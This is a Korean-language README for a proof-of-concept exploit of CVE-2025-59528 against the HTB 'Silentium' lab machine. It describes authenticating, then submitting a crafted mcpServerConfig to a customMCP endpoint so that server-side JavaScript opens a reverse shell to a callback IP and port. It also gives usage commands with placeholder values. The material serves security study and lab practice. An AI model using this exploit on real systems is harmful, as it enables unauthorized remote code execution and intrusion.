
HTB의 Silentium 머신에서 원격 코드 실행을 달성하는 데 사용되는 CVE-2025-59528용 PoC
교육용으로만 사용하십시오. 이 프로젝트는 통제된 보안 연구, 교실 실습, 격리된 연구실 환경에서의 인가된 테스트를 대상으로 합니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템, 네트워크, 애플리케이션 또는 계정에 이를 사용하지 마십시오.
이 proof of concept은 부적절하게 처리된 mcpServerConfig 값이 customMCP 노드 로드 기능을 통해 서버 측 JavaScript 평가 및 명령 실행을 허용할 수 있음을 시연합니다.
이 스크립트는 두 가지 인증 방식을 지원합니다:
Authorization 헤더에 API 키를 전송합니다.인증 후, 스크립트는 /api/v1/node-load-method/customMCP에 조작된 구성을 제출합니다. 페이로드는 Node.js 자식 프로세스(child-process) 기능을 사용하여 셸 명령을 실행하고 연구자가 제어하는 리스너로 다시 연결합니다. 이 동작은 인가된 연구실 환경에서 잠재적 영향을 시연하기 위한 목적으로만 포함되었습니다.
requests 패키지.다음과 같이 의존성을 설치합니다:
python3 -m pip install requests
스크립트를 CVE-2025-59528.py로 저장합니다.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
문서화 전용 값이 포함된 예시:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
문서화 전용 값이 포함된 예시:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
스크립트는 다음 애플리케이션 라우트를 사용할 수 있어야 합니다:
/api/v1/auth/login/api/v1/node-load-method/customMCP현재 스크립트는 http:// URL을 구성합니다. TLS가 필요한 연구실 배포 환경을 테스트할 때는 HTTPS를 사용하도록 구현을 업데이트하십시오.
main()은 명령줄 인수 개수를 검증하고 인증 모드를 선택합니다.login()은 제공된 자격 증명을 로그인 엔드포인트로 전송합니다.tokens()는 Set-Cookie 응답 헤더에서 세션 값을 추출합니다.shell()은 인증된 요청을 구성하고 조작된 mcpServerConfig 값을 제출합니다.bearer()는 세션 쿠키 대신 Bearer 토큰을 사용하여 동일한 요청을 수행합니다.